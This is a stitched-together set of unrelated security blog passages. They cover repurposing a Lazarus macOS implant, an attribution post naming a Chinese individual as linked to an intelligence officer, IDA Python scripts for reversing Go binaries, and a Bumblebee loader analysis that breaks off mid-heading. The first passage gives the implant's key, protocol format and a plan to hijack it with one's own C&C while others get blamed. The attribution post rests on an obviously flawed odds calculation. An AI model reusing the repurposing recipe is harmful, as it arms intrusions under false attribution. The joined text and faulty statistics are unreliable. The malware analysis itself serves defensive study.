recv'd if ((rdx >= 0x400) && ...))) { //rbx: recv'd bytes // base64 decode recv'd bytes rax = base64_decode(rbx, &var_80); } ... } ``` So already, we know the server’s response (which the malware expects to be a 2nd-stage payload) must be at least 0x400 in length and base64 encoded. As such, we update our custom C&C server to respond with at least 0x400 bytes of base64 encoded data (that for now, just decodes to ABCDEFGHIJKLMNOPQRSTUVWXYZABCD...). Once we respond with the correct number (0x400 +) of base64 encoded bytes, the malware happily continues and invokes a function named `processUpdate` (at address 0x0000000100004be3). In a debugger, we can see this function takes the (base64 decoded) bytes (in RDI) and their length (in RSI): ```bash $ lldb unioncryptoupdater ... (lldb) b 0x0000000100004be3 Breakpoint 1: where = unioncryptoupdater`processUpdate(unsigned char*, unsigned long), address = 0x0000000100004be3 (lldb) r ... (lldb) Process 2813 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x0000000100004be3 unioncryptoupdater`processUpdate(unsigned char*, unsigned long) (lldb) (lldb) x/s $rdi 0x100800600: "ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ... (lldb) reg read $rsi rsi = 0x000000000000401 ``` As shown in the debugger output, so far, the malware is content with our server’s response, as the response is over 0x400 bytes in length and encoded correctly. In summary: - **Encoding:** base64 - **Encryption:** AES (CBC-mode), with a null-IV, and key of MD5("VMI5EOhq8gDz") - **Format:** 0x400 + bytes, payload starting at offset 0x90 As we now fully understand the format of the malware’s protocol, in theory, we should be able to remotely transmit an encrypted & encoded binary payload and have the malware execute directly from memory! ### Detection Before ending, I want to briefly discuss detection of this threat (either in its pristine or repurposed state). First, it’s rather trivial to detect the malware’s (launch daemon) persistence (e.g. via BlockBlock). Our firewall LuLu will also detect the unauthorized network traffic to the attacker (or our!) C&C server. And what about detecting the in-memory execution of 2nd-stage payloads? Turns out that’s a bit trickier, which is one of the reasons why attackers have begun to utilize this technique! Good news though (from the detection point of view), the well-known macOS security researcher Richie Cyrus recently published a blog post that included a section titled: “Using ESF to Detect In-Memory Execution”. In his post, he notes that via Apple’s new Endpoint Security Framework (ESF), we can track various events, such as memory mappings (ES_EVENT_TYPE_NOTIFY_MMAP) which, when combined with other observable events delivered by the ESF, may be used to detect the execution of an in-memory payload. ### Conclusion The Lazarus group proves yet again to be a well-resourced, persistent threat that continues to target macOS users with ever-evolving capabilities. In this blog post, we illustrated exactly how to “recycle” Lazarus's latest implant, `unioncryptoupdater`, in a few, fairly straightforward steps. Specifically, after reversing the sample to uncover its encryption key and encoding mechanism, we built a simple C&C server capable of speaking the malware’s protocol. After overwriting the embedded address of the attacker’s C&C server in the malware’s binary with our own, the repurposing was wholly complete. End result? An advanced persistent 1st-stage implant capable of executing our 2nd-stage payloads directly from memory! And besides not having to write a single line of “client-side” code, if our repurposed creation is ever discovered, it will surely be misattributed back to the Lazarus group. Win-freaking-Win!
# Who is Mr Wang? In our last article, we identified Jinan Quanxin Technology Co. Ltd. (济南全欣方沅科技有限公司) and Jinan Anchuang Information Technology Co. Ltd. (济南安创信息科技有限公司) as companies associated with Guo Lin (郭林), a likely MSS Officer in Jinan. ## Jinan Fanglang Information Technology Company As disclosed previously by this blog, the antorsoft[.]com domain name listed the main address for Jinan Quanxin Fangyuan as 238, Jing Shi Dong Lu, Jinan, China. However, Jinan Quanxin Fangyuan wasn’t the only IT company registered at this address. We know that 238, Jing Shi Dong Lu, Jinan was also the registered address of Jinan Fanglang Information Technology Co. Ltd. (济南方朗信息科技有限公司). ## iamjx aka phoenix Firstly, can we identify any staff who might work for Jinan Fanglang and tie them to hacking activity? The trail starts with a job that was advertised for Jinan Fanglang on pediy[.]com by an individual using the handles iamjx and phoenix. Although iamjx is a handle that is difficult to identify elsewhere in open source, our analysts were able to find a second job advert using the same QQ number, 8401900931. This second advert was on binvul[.]com. Unfortunately, we can’t connect to binvul, but one of our analysts passed us a printout obtained from a location with better access. The precise name of the company isn’t clear – it says 济南安全公司招聘 (Jinan Security Company Recruitment) – and the poster doesn’t give their name. But their link to the hacking world is obvious from another posting in 2012 using the same w4ngqw account on binvul, this time commenting on the impressive nature of CVE-2012-1848. ## Wang Qingwei (王庆卫) Analysing the handle w4ngqw, it seems clear that the family name is Wang. The given name uses the pinyin characters ‘qw’, restricting the number of candidate names in Chinese. Searching on these candidate names, analysts working with this blog have identified that the owner of w4ngqw is Jinan resident and cybersecurity expert Wang Qingwei (王庆卫). Company tax registration information obtained by this blog from the official website of Shandong Province lists the company 济南方朗信息科技有限公司 (Jinan Fanglang Information Technology Co. Ltd.) with a registration address of 238 Jing Shi Dong Lu, Jinan. Who was named as the company representative? 王庆卫… ## Let’s challenge the hypothesis It could be argued that Wang Qingwei – the representative of a company that merely shared an office with a second company whose domain name was registered by Guo Lin – had nothing to do with Mr Guo or the MSS. How strange then that a source with access to such information informed us that Guo Lin and Wang Qingwei flew together on a multi-stop trip in 2016. But they weren’t just on the same plane; they sat next to each other on every leg of the flight. We admit to not being data scientists here at Intrusion Truth, but if the population of China is 1.4 billion, the chances of sitting next to the same Chinese person on at least three journeys must be 1/(1,400,000,000)^3, which is to say 1 in 2,744,000,000,000,000,000,000,000,000. Or 2.7 octillion to 1. Which is quite low. In summary, Wang Qingwei, an IT security expert, advertised jobs at Jinan Fanglang using two online profiles and was also listed as the company’s official representative. He is directly linked to likely MSS Officer Guo Lin, travelling with him on multiple occasions. #theyknowwherethisleads
# Reversing GO Binaries Like a Pro GO binaries are weird, or at least, that is where this all started out. While delving into some Linux malware named Rex, I came to the realization that I might need to understand more than I wanted to. Just the prior week I had been reversing Linux Lady which was also written in GO; however, it was not a stripped binary so it was pretty easy. Clearly, the binary was rather large, with many extra methods I didn’t care about - though I really just didn’t understand why. To be honest, I still haven’t fully dug into the Golang code and have yet to really write much code in Go, so take this information at face value as some of it might be incorrect; this is just my experience while reversing some ELF Go binaries! To illustrate some of my examples, I’m going to use an extremely simple ‘Hello, World!’ example and also reference the Rex malware. The code and a Makefile are extremely simple: ```go // Hello.go package main import "fmt" func main() { fmt.Println("Hello, World!") } ``` ```makefile # Makefile all: GOOS=linux GOARCH=386 go build -o hello-stripped -ldflags "-s" hello.go GOOS=linux GOARCH=386 go build -o hello-normal hello.go ``` Since I’m working on an OSX machine, the above `GOOS` and `GOARCH` variables are explicitly needed to cross-compile this correctly. The first line also added the `ldflags` option to strip the binary. This way we can analyze the same executable both stripped and without being stripped. Copy these files, run `make`, and then open up the files in your disassembler of choice; for this blog, I’m going to use IDA Pro. If we open up the unstripped binary in IDA Pro, we can notice a few quick things. Our 5 lines of code have turned into over 2058 functions. With all that overhead of what appears to be a runtime, we also have nothing interesting in the `main()` function. If we dig in a bit further, we can see that the actual code we’re interested in is inside of `main_main`. This is, well, lots of code that I honestly don’t want to look at. The string loading also looks a bit weird - though IDA seems to have done a good job identifying the necessary bits. We can easily see that the string load is actually a set of three `mov` instructions: ```assembly mov ebx, offset aHelloWorld ; "Hello, World!" mov [esp+3Ch+var_14], ebx ; Shove string into location mov [esp+3Ch+var_10], 0Dh ; length of string ``` This isn’t exactly revolutionary, though I can’t off the top of my head say that I’ve seen something like this before. We’re also taking note of it as this will come in handy later on. The other tidbit of code which caught my eye was the `runtime_morestack_context` call: ```assembly loc_80490CB: call runtime_morestack_noctxt jmp main_main ``` This style block of code appears to always be at the end of functions and it also seems to always loop back up to the top of the same function. This is verified by looking at the cross-references to this function. Now that we know IDA Pro can handle unstripped binaries, let's load the same code but the stripped version this time. Immediately we see some, well, let’s just call them “differences.” We have 1329 functions defined and now see some undefined code by looking at the navigator toolbar. Luckily, IDA has still been able to find the string load we are looking for; however, this function now seems much less friendly to deal with. We now have no more function names; however, the function names appear to be retained in a specific section of the binary if we do a string search for `main.main` (which would be represented at `main_main` in the previous screenshots due to how a `.` is interpreted by IDA): ```assembly .gopclntab .gopclntab:0813E174 db 6Dh ; m .gopclntab:0813E175 db 61h ; a .gopclntab:0813E176 db 69h ; i .gopclntab:0813E177 db 6Eh ; n .gopclntab:0813E178 db 2Eh ; . .gopclntab:0813E179 db 6Dh ; m .gopclntab:0813E17A db 61h ; a .gopclntab:0813E17B db 69h ; i .gopclntab:0813E17C db 6Eh ; n ``` After digging into some of the Google results into `gopclntab` and tweeting about this, a friendly reverser George (Egor?) Zaytsev showed me his IDA Pro scripts for renaming functions and adding type information. After skimming these, it was pretty easy to figure out the format of this section, so I threw together some functionality to replicate his script. The essential code is shown below. Very simply put, we look into the segment `.gopclntab` and skip the first 8 bytes. We then create a pointer (Qword or Dword depending on whether the binary is 64bit or not). The first set of data actually gives us the size of the `.gopclntab` table, so we know how far to go into this structure. Now we can start processing the rest of the data which appears to be the `function_offset` followed by the `name_offset`. As we create pointers to these offsets and also tell IDA to create the strings, we just need to ensure we don’t pass `MakeString` any bad characters, so we use the `clean_function_name` function to strip out any badness. ```python def create_pointer(addr, force_size=None): if force_size is not 4 and (idaapi.get_inf_structure().is_64bit() or force_size is 8): MakeQword(addr) return Qword(addr), 8 else: MakeDword(addr) return Dword(addr), 4 STRIP_CHARS = ['(', ')', '[', ']', '{', '}', ' ', '"'] REPLACE_CHARS = ['.', '*', '-', ',', ';', ':', '/', '\xb7'] def clean_function_name(str): str = filter(lambda x: x in string.printable, str) for c in STRIP_CHARS: str = str.replace(c, '') for c in REPLACE_CHARS: str = str.replace(c, '_') return str def renamer_init(): renamed = 0 gopclntab = ida_segment.get_segm_by_name('.gopclntab') if gopclntab is not None: addr = gopclntab.startEA + 8 size, addr_size = create_pointer(addr) addr += addr_size early_end = addr + (size * addr_size * 2) while addr < early_end: func_offset, addr_size = create_pointer(addr) name_offset, addr_size = create_pointer(addr + addr_size) addr += addr_size * 2 func_name_addr = Dword(name_offset + gopclntab.startEA + addr_size) + gopclntab.startEA func_name = GetString(func_name_addr) MakeStr(func_name_addr, func_name_addr + len(func_name)) clean_func_name = clean_function_name(func_name) debug('Going to remap function at 0x%x with %s - cleaned up as %s' % (func_offset, func_name, clean_func_name)) if ida_funcs.get_func_name(func_offset) is not None: if MakeName(func_offset, clean_func_name): renamed += 1 else: error('clean_func_name error %s' % clean_func_name) return renamed def main(): renamed = renamer_init() info('Found and successfully renamed %d functions!' % renamed) ``` The above code won’t actually run yet (don’t worry, full code available in this repo) but it is hopefully simple enough to read through and understand the process. However, this still doesn’t solve the problem that IDA Pro doesn’t know all the functions. So this is going to create pointers which aren’t being referenced anywhere. We do know the beginning of functions now; however, I ended up seeing (what I think is) an easier way to define all the functions in the application. We can define all the functions by utilizing the `runtime_morestack_noctxt` function. Since every function utilizes this (basically, there is an edge case it turns out), if we find this function and traverse backwards to the cross-references to this function, then we will know where every function exists. Now we know the end of the function and the next instruction after the call to `runtime_morestack_noctxt` gives us a jump to the top of the function. This means we should quickly be able to give the bounds of the start and stop of a function, which is required by IDA, while separating this from the parsing of the function names. After digging into multiple binaries, we can see the `runtime_morestack_noctxt` will always call into `runtime_morestack` (with context). This is the edge case I was referencing before, so between these two functions, we should be able to see cross-references to every other function used in the binary. Looking at the larger of the two functions, `runtime_morestack`, of multiple binaries tends to have an interesting layout. The part which stuck out to me was `mov large dword ptr ds:1003h, 0` - this appeared to be rather constant in all 64bit binaries I saw. So after cross-compiling a few more, I noticed that 32bit binaries used `mov qword ptr ds:1003h, 0`, so we will be hunting for this pattern to create a “hook” for traversing backwards on. Lucky for us, I haven’t seen an instance where IDA Pro fails to define this specific function; we don’t really need to spend much brain power mapping it out or defining it ourselves. So, enough talk, let’s write some code to find this function: ```python def create_runtime_ms(): debug('Attempting to find runtime_morestack function for hooking on...') text_seg = ida_segment.get_segm_by_name('.text') runtime_ms_end = ida_search.find_text(text_seg.startEA, 0, 0, "word ptr ds:1003h, 0", SEARCH_DOWN) runtime_ms = ida_funcs.get_func(runtime_ms_end) if idc.MakeNameEx(runtime_ms.startEA, "runtime_morecontext", SN_PUBLIC): debug('Successfully found runtime_morecontext') else: debug('Failed to rename function @ 0x%x to runtime_morestack' % runtime_ms.startEA) return runtime_ms ``` After finding the function, we can recursively traverse backwards through all the function calls. Anything which is not inside an already defined function we can now define. This is because the structure always appears to be: ```assembly .text:08089910 ; Function start - however undefined currently according to IDA Pro .text:08089910 loc_8089910: ; CODE XREF: .text:0808994B .text:08089910 ; DATA XREF: sub_804B250+1A1 .text:08089910 mov ecx, large gs:0 .text:08089917 mov ecx, [ecx-4] .text:0808991D cmp esp, [ecx+8] .text:08089920 jbe short loc_8089946 .text:08089922 sub esp, 4 .text:08089925 mov ebx, [edx+4] .text:08089928 mov [esp], ebx .text:0808992B cmp dword ptr [esp], 0 .text:0808992F jz short loc_808993E .text:08089931 loc_8089931: ; CODE XREF: .text:08089944 .text:08089931 add dword ptr [esp], 30h .text:08089935 call sub_8052CB0 .text:0808993A add esp, 4 .text:0808993D retn .text:0808993E ; ---------------------------------------------------------------- .text:0808993E loc_808993E: ; CODE XREF: .text:0808992F .text:0808993E mov large ds:0, eax .text:08089944 jmp short loc_8089931 ; Jump back to the "top" of the function ``` The above snippet is a random undefined function I pulled from the stripped example application we compiled already. Essentially, by traversing backwards into every undefined function, we will land at something like line `0x0808994B` which is the `call runtime_morestack`. From here we will skip to the next instruction and ensure it is a jump above where we currently are; if this is true, we can likely assume this is the start of a function. In this example (and almost every test case I’ve run), this is true. Jumping to `0x08089910` is the start of the function, so now we have the two parameters required by the `MakeFunction` function: ```python def is_simple_wrapper(addr): if GetMnem(addr) == 'xor' and GetOpnd(addr, 0) == 'edx' and GetOpnd(addr, 1) == 'edx': addr = FindCode(addr, SEARCH_DOWN) if GetMnem(addr) == 'jmp' and GetOpnd(addr, 0) == 'runtime_morestack': return True return False def create_runtime_ms(): debug('Attempting to find runtime_morestack function for hooking on...') text_seg = ida_segment.get_segm_by_name('.text') runtime_ms_end = ida_search.find_text(text_seg.startEA, 0, 0, "word ptr ds:1003h, 0", SEARCH_DOWN) runtime_ms = ida_funcs.get_func(runtime_ms_end) if idc.MakeNameEx(runtime_ms.startEA, "runtime_morestack", SN_PUBLIC): debug('Successfully found runtime_morestack') else: debug('Failed to rename function @ 0x%x to runtime_morestack' % runtime_ms.startEA) return runtime_ms def traverse_xrefs(func): func_created = 0 if func is None: return func_created func_xref = ida_xref.get_first_cref_to(func.startEA) while func_xref != 0xffffffffffffffff: if ida_funcs.get_func(func_xref) is None: func_end = FindCode(func_xref, SEARCH_DOWN) if GetMnem(func_end) == "jmp": func_start = GetOperandValue(func_end, 0) if func_start < func_xref: if idc.MakeFunction(func_start, func_end): func_created += 1 else: error('Error trying to create a function @ 0x%x - 0x%x' % (func_start, func_end)) else: xref_func = ida_funcs.get_func(func_xref) if is_simple_wrapper(xref_func.startEA): debug('Stepping into a simple wrapper') func_created += traverse_xrefs(xref_func) if ida_funcs.get_func_name(xref_func.startEA) is not None and 'sub_' not in ida_funcs.get_func_name(xref_func.startEA): debug('Function @0x%x already has a name of %s; skipping...' % (func_xref, ida_funcs.get_func_name(xref_func.startEA))) else: debug('Function @ 0x%x already has a name %s' % (xref_func.startEA, ida_funcs.get_func_name(xref_func.startEA))) func_xref = ida_xref.get_next_cref_to(func.startEA, func_xref) return func_created def find_func_by_name(name): text_seg = ida_segment.get_segm_by_name('.text') for addr in Functions(text_seg.startEA, text_seg.endEA): if name == ida_funcs.get_func_name(addr): return ida_funcs.get_func(addr) return None def runtime_init(): func_created = 0 if find_func_by_name('runtime_morestack') is not None: func_created += traverse_xrefs(find_func_by_name('runtime_morestack')) func_created += traverse_xrefs(find_func_by_name('runtime_morestack_noctxt')) else: runtime_ms = create_runtime_ms() func_created = traverse_xrefs(runtime_ms) return func_created ``` That code bit is a bit lengthy, though hopefully the comments and concept are clear enough. It likely isn’t necessary to explicitly traverse backwards recursively; however, I wrote this prior to understanding that `runtime_morestack_noctxt` (the edge case) is the only edge case that I would encounter. This was being handled by the `is_simple_wrapper` function originally. Regardless, running this style of code ended up finding all the extra functions IDA Pro was missing. This can allow us to use something like Diaphora as well since we can specifically target functions with the same names, if we care too. I’ve personally found this is extremely useful for malware or other targets where you really don’t care about any of the framework/runtime functions. Now onto the last challenge that I wanted to solve while reversing the malware: string loading! I’m honestly not 100% sure how IDA detects most string loads, potentially through idioms of some sort? Or maybe because it can detect strings based on the `\00` character at the end of it? Regardless, Go seems to use a string table of some sort, without requiring a null character. They appear to be in alpha-numeric order, grouped by string length size as well. This means we see them all there, but often don’t come across them correctly asserted as strings, or we see them asserted as extremely large blobs of strings. The hello world example isn’t good at illustrating this, so I’ll pull open the `main.main` function of the Rex malware to show this. I didn’t want to add comments to everything, so I only commented the first few lines then pointed arrows to where there should be pointers to a proper string. We can see a few different use cases and sometimes the destination registers seem to change. However, there is definitely a pattern which forms that we can look for. Moving of a pointer into a register, that register is then used to push into a (d)word pointer, followed by a load of a length of the string. Cobbling together some Python to hunt for the pattern, we end with something like the pseudo code below: ```python VALID_REGS = ['ebx', 'ebp'] VALID_DEST = ['esp', 'eax', 'ecx', 'edx'] def is_string_load(addr): patterns = [] if GetMnem(addr) == 'mov': if GetOpnd(addr, 0) in VALID_REGS and not ('[' in GetOpnd(addr, 1) or 'loc_' in GetOpnd(addr, 1)) and ('offset ' in GetOpnd(addr, 1) or 'h' in GetOpnd(addr, 1)): from_reg = GetOpnd(addr, 0) addr_2 = FindCode(addr, SEARCH_DOWN) try: dest_reg = GetOpnd(addr_2, 0)[GetOpnd(addr_2, 0).index('[') + 1:GetOpnd(addr_2, 0).index('[') + 4] except ValueError: return False if GetMnem(addr_2) == 'mov' and dest_reg in VALID_DEST and ('[%s' % dest_reg) in GetOpnd(addr_2, 0) and GetOpnd(addr_2, 1) == from_reg: addr_3 = FindCode(addr_2, SEARCH_DOWN) if GetMnem(addr_3) == 'mov' and (('[%s+' % dest_reg) in GetOpnd(addr_3, 0) or GetOpnd(addr_3, 0) in VALID_DEST) and 'offset ' not in GetOpnd(addr_3, 1) and 'dword ptr ds' not in GetOpnd(addr_3, 1): try: dumb_int_test = GetOperandValue(addr_3, 1) if dumb_int_test > 0 and dumb_int_test < sys.maxsize: return True except ValueError: return False def create_string(addr, string_len): debug('Found string load @ 0x%x with length of %d' % (addr, string_len)) if GetStringType(addr) is not None and GetString(addr) is not None and len(GetString(addr)) != string_len: debug('It appears that there is already a string present @ 0x%x' % addr) MakeUnknown(addr, string_len, DOUNK_SIMPLE) if GetString(addr) is None and MakeStr(addr, addr + string_len): return True else: MakeUnknown(addr, string_len, DOUNK_SIMPLE) if MakeStr(addr, addr + string_len): return True debug('Unable to make a string @ 0x%x with length of %d' % (addr, string_len)) return False ``` The above code could likely be optimized; however, it was working for me on the samples I needed. All that would be left is to create another function which hunts through all the defined code segments to look for string loads. Then we can use the pointer to the string and the string length to define a new string using the `MakeStr`. After we throw together all these functions, we now have the `golang_loader_assist.py` module for IDA Pro. A word of warning though, I have only had time to test this on a few versions of IDA Pro for OSX, the majority of testing on 6.95. There are also very likely optimizations which should be made or at a bare minimum some reworking of the code. With all that said, I wanted to open source this so others could use this and hopefully contribute back. Also, be aware that this script can be painfully slow depending on how large the `idb` file is, working on a OSX El Capitan (10.11.6) using a 2.2 GHz Intel Core i7 on IDA Pro 6.95 - the string discovery aspect itself can take a while. I’ve often found that running the different methods separately can prevent IDA from locking up. Hopefully, this blog and the code prove useful to someone; enjoy!
# Technical Analysis of Bumblebee Malware Loader **Anandeshwar Unnikrishnan** **August 4, 2022** Malware loaders are essentially remote access trojans (RATs) that establish communication between the attacker and the compromised system. Loaders typically represent the first stage of a compromise. Their primary goal is to download and execute additional payloads from the attacker-controlled server on the compromised system without detection. Researchers at ProofPoint have discovered a new malware loader called Bumblebee. The malware loader is named after a unique user agent string used for C2 communication. It has been observed that adversaries have started using Bumblebee to deploy malware such as CobaltStrike beacons and Meterpreter shells. Threat group TA578 has also been using Bumblebee the loader in their campaigns. This article explores and decodes Bumblebee malware loader’s: - Technical features - Logic flow - Exploitation process - Network maintenance - Unique features ## Campaign Delivery Adversaries push ISO files through compromised email (reply) chains, known as thread hijacked emails, to deploy the Bumblebee loader. ISO files contain a byte-to-byte copy of low-level data stored on a disk. The malicious ISO files are delivered through Google Cloud links or password protected zip folders. The ISO files contain a hidden DLL with random names and an LNK file. DLL (Dynamic Link Library) is a library that contains codes and data which can be used by more than one program at a time. LNK is a filename extension in Microsoft Windows for shortcuts to local files. The LNK file often contains a direct link to an executable file or metadata about the executable file, without the need to trace the program’s full path. LNK files are an attractive alternative to opening a file, and thus an effective way for threat actors to create script-based attacks. The target location for the LNK files is set to run rundll32.exe, which will call an exported function in the associated DLL. If the “show hidden items” option is not enabled on the victim’s system, DLLs may not be visible to the user. ## Bumblebee Loader Analysis The analyzed sample (f98898df74fb2b2fad3a2ea2907086397b36ae496ef3f4454bf6b7125fc103b8) is a DLL file with exported functions. Both the exported functions, IternalJob and SetPath, execute the function sub_180004AA0. ### Entropy of the DLL The entropy of a file measures the randomness of the data in the file. Entropy can be used to determine whether there is hidden data or suspicious scripts in the file. The scale of entropy is from 0 (not random) to 8 (totally random). High entropy values indicate that there is encrypted data stored in the file, while lower values indicate the decryption and storage of payload in different sections during runtime. The peak is spread across the data segments of the DLL file. It is highly possible that this peak was caused by the presence of packed data in the data segments of the sample DLL. This indicates that the malware, at some point in runtime, will fetch the data from the data segment and unpack it for later use. ### Unpacking and Deploying Payload (Function sub_180004AA0) The exported function sub_180004AA0 is a critical component in unpacking and deploying the main payload on the target system. The function sub_180003490 serves as the unpacker for the main payload. Function sub_180003490 contains 2 functions of interest: - sub_1800021D0: This function routine is responsible for allocating heap memory. - sub_1800029BC: This function writes the embedded data, in the data segment of the DLL sample, into the newly allocated heap memory. The packed payload is fetched from the data segment and written into allocated heap memory. The assembly code highlighted yellow transfers the embedded data (packed payload) from the data segment of DLL to an intermediate CL register. The assembly code highlighted red transfers the data from CL to the allocated heap. During runtime, the heap memory continues to get filled with the packed payload embedded within the DLL samples. ### Function sub_180002FF4 After dumping the packed payload in the allocated memory, the control goes back to sub_180004AA0 and function sub_180002FF4 is executed. Function sub_180002FF4 performs the following operations: - Allocates new heap memory. - Transfers previously dumped packed payload into newly allocated memory. - Deallocates previously allocated memory. After the control returns to sub_180004AA0, function sub_180004180 is executed. ### Function sub_180004180 Function sub_180004180 has 3 functions: - sub_180001670: This function is responsible for allocating multiple heap memories to the malware. The malware later dumps the unpacked MZ file into one of the allocated memories. - sub_180003CE4: This function is responsible for unpacking previously dumped packed payload in the process heap and dumps it into one of the memories allocated by sub_180001670. - sub_180001A84: This function is responsible for deallocating memory. ## Hook Implementation Hooking refers to a range of techniques used to modify the behavior of an operating system, software, or software component, by intercepting the function calls, events, or communication between software components. The code which handles such intercepted function calls, events, or communication is called a hook. Right after the Bumblebee loader unpacks the main payload in the memory, it hooks a few interesting functions exported by ntdll.dll (a file containing NT kernel functions, susceptible to cyberattacks) through an in-line hooking technique. The in-line hooks play a significant role in the execution of the final payload. The trigger mechanism, for the deployment of the payload, shows the creativity of the malware developer. Function sub_180001000 is responsible for implementing the in-line hooks. Function sub_180001000 initially saves the addresses of 3 detour functions used for hooking. The detour functions are responsible for hijacking control flow in hooked Windows functions. After storing the addresses, sub_1800025EC is executed to resolve the addresses of the target API (Application Programming Interface) functions for hooking. After obtaining the addresses to memory pages of the detour functions for hooking, the loader uses function VirtualProtect to change the memory permissions of the target pages. After changing the permissions, the loader writes the in-line hooks in sub_180002978. Then VirtualProtect is called again to restore the page permissions. In-line hooking involves the following steps: - After sub_180002978 is executed, a call to NtOpenFile makes the malware code jump to location 1800023D4 (detour). This is how malicious in-line hooks change the execution flow of APIs. The process of changing memory permission and writing in-line hooks is repeated in a do-while loop, for the rest of the target functions, NtCreateSection and NtMapViewOfSection. ### Summary of Hooked Functions After successful hooking, whenever target functions are called in the address space of the loader process, the control flow is transferred to the in-line the respective hook addresses: | Target Function | In-line Hook (Detours) | |-------------------------------------|-------------------------| | ntdll.NtOpenFile | 1800023D4 | | ntdll.NtCreateSection | 1800041EC | | ntdll.NtMapViewOfSection | 180001D4C | ## Loading gdiplus.dll is Unique to Bumblebee The final function executed by the loader is sub_1800013A0. The malware uses the function LoadLibraryW to load the DLL module. It then uses the function GetProcAddress to obtain the address of a specific function exported by the library loaded. This plays a crucial step in deployment of the main payload on the victim system. Unlike TTPs (Tactics, Techniques, and Procedures) of common malware loaders, this is where the Bumblebee loader gets creative. The module gdiplus.dll is loaded into the process memory address space. Gdiplus.dll is an important module, containing libraries that support the GDI Window Manager, in the Microsoft Windows OS. The module gdiplus.dll is executed in the last function of the malware loader. This is the first instance in which the unpacked MZ payload is used directly by the loader. Hence, the loading of this module appears suspicious. Also, an unusual base address (0x1d54fd0000) is assigned to the loaded gdiplus.dll module. By further examining the suspicious memory, it was found that the address is a mapped page with RWX permission in the loader address space. This is a classic use case of hollowing where the module content is replaced with unpacked malicious artifacts. But in our analysis so far we have not come across any code that does the hollowing. Then how did the malware change the contents of the gdiplus.dll? Interestingly this is where the malware developer decided to get creative! The hooking seen earlier is responsible for hollowing the loaded module with the unpacked payload. ## Investigating the Hooks and the Trigger As seen in the previous section, the malware hooks 3 specific APIs: - NtOpenFile - NtCreateSection - NtMapViewOfSection The API selection is not random. The internal working of loading any DLL via LoadLibrary API uses the 3 functions mentioned above. Hooking these functions gives the malware the flexibility to deploy the unpacked payload covertly. This feature makes it difficult for researchers to hunt the main payload. The detour function at 0x180001D4C is used to hook function NtMapViewOfSection, which lays the groundwork for hollowing the loaded module (in this case, gdiplus.dll) with the unpacked Bumblebee binary. The detour function is capable of the following actions: - Section object creation via NtCreateSection API - Mapping of the view of gdiplus.dll to loader address space via NtMapViewOfSection - Writing the unpacked payload into the mapped view of gdiplus.dll - Deallocating heap memory that holds unpacked payload from earlier steps The implementation of the detour function at 0x180001D4C shows the use of a pointer to the NtCreateSection API, for creating a section object to be used later in mapping the gdiplus.dll module. After creating a section object, the detour function calls NtMapViewOfSection, via a pointer. Now the view for the section is created by the system. The function sub_180002E74 is responsible for filling the mapped view with an unpacked payload. The address of the mapped view, returned by NtMapViewOfSection pointer in the loader process, which is 0x1D54F5D0000, is the same address seen while examining the process modules. The mapped view starts from 0x1D54F5D0000. The loader dumps the unpacked payload here, hollowing gdiplus.dll. Hence, the final Bumblebee payload stays hidden inside the loaded module gdiplus.dll. Right after mapping the view, the detour function executes sub_180002E74 to initiate the writing of the unpacked binary. The hooks get activated as soon as the loader loads the gdiplus.dll module via LoadLibraryW API. Then the payload is covertly loaded into the gdiplus.dll module. The final payload is a DLL, hence the loader has to explicitly call an exported function to trigger the execution. In this case, the loader obtains the address of exported function SetPath via function GetProcAddress. The control is then transferred to the final payload by the final call to SetPath, by providing the loader program name as argument. ## Bumblebee Main Payload Analysis The core malicious component of the Bumblebee is executed in the memory when the hollowed gdiplus.dll is loaded via the LoadLibrary API. When the module is loaded into memory, the function DllMain creates a new thread and executes sub_180008EC0 routine. The DllMain function of the Bumblebee payload sub_180008EC0 routine is quite a large function that is responsible for all the malicious activities performed by Bumblebee on the compromised system. ### Anti VM Checks The first activity performed by sub_180008EC0 is to check for a virtual machine (VM) environment. If the function returns True, then Bumblebee shuts itself down by executing the ExitProcess function. The VM checking routine is rigorous. It employs various techniques to ensure that the malware is not running in a sandbox environment used by security researchers. Some of the interesting features are: - Iterating through running processes via functions CreateToolHelp32Snapshot, Process32FirstW, and Process32NextW. - Each running process is compared to a list of program names. - The malware also checks for specific usernames used in sandboxed environments to confirm the absence of a VM. - The VM check routine also enumerates active system services running via the OpenSCManagerW API. The names of common services used by VM softwares are stored in an array. - It also scans the system directory for common drivers and library files used by VM applications. - The routine also checks for named pipes to identify the presence of VM. These are a few examples of techniques employed by the malware to identify analysis environments. It also has other functionalities built such as the use of WMI and registry functionalities to identify hardware information to check for the presence of VM environments installed on the target system. ### Event Creation After VM checks, if it is secure to continue, the malware creates an event. The event ID is 3C29FEA2-6FE8-4BF9-B98A-0E3442115F67. This is used for thread synchronization. ### Persistence The malware uses wsript.exe as a persistence vector to run the malware each time the user logs into the system. The VB instruction is written into a .vbs file. This is performed when the C2 sends the “ins” command as a task to execute on the system. ### Token Manipulation The malware performs token manipulation to escalate its privilege on the target system by granting the malware process a SeDebugPrivilege. With this privilege, the malware can perform arbitrary read/write operations. The malware is capable of performing code injections to deploy malicious code in running processes using various APIs. The malware dynamically retrieves the addresses of the APIs needed for the code injection. The core Bumblebee payload comes with embedded files which are injected into the running process to further attack the victim. ### Code Injection Via NtQueueApcThread When the malware receives the command along with a DLL buffer, which gets injected, the malware starts scanning for a list of processes on the system. One of the executables in the list is randomly chosen to inject the malicious DLL. Following the code injection, the malware: - Creates a process from the previously selected executable image via COM (Component Object Model), in which access to an object’s data is received through interfaces, in a suspended state. - Enumerates through the running process via the CreateToolhelp32Snapshot API to find the newly spawned process created in the previous step. - When the process is found, the malware manipulates the token and acquires the SeDebugPrivilege token to perform further memory manipulation. - If token manipulation is successful, the malware injects a shellcode into the process to make it go to sleep. Function sub_180037A80 is responsible for performing the shellcode injection into the spawned process in the suspended state. After injecting the shellcode into the process, the malware resumes the process. It then executes function sub_18003A9BC to finally inject malicious DLL by creating multiple memory sections and views. The DLL code is executed via the NtQueueApcThread API, which is dynamically resolved during the execution. ## C2 Network Command and Control Infrastructure, also known as C2 or C&C, is a collection of tools and techniques used to maintain contact with a compromised system of devices after the initial access has been gained. The IP address of the C2 can be retrieved from the payload code. The C2 periodically sends out tasks to the agent to be executed on the system. The malware extensively uses WMI (Windows Management Infrastructure) to collect basic victim information like domain name and user name, and sends the compromised information to the C2. The C2 distinguishes active agents based on the client ID assigned to each one. Interestingly, the user agent string used by the malware for communication is “bumblebee”. ### Outbound 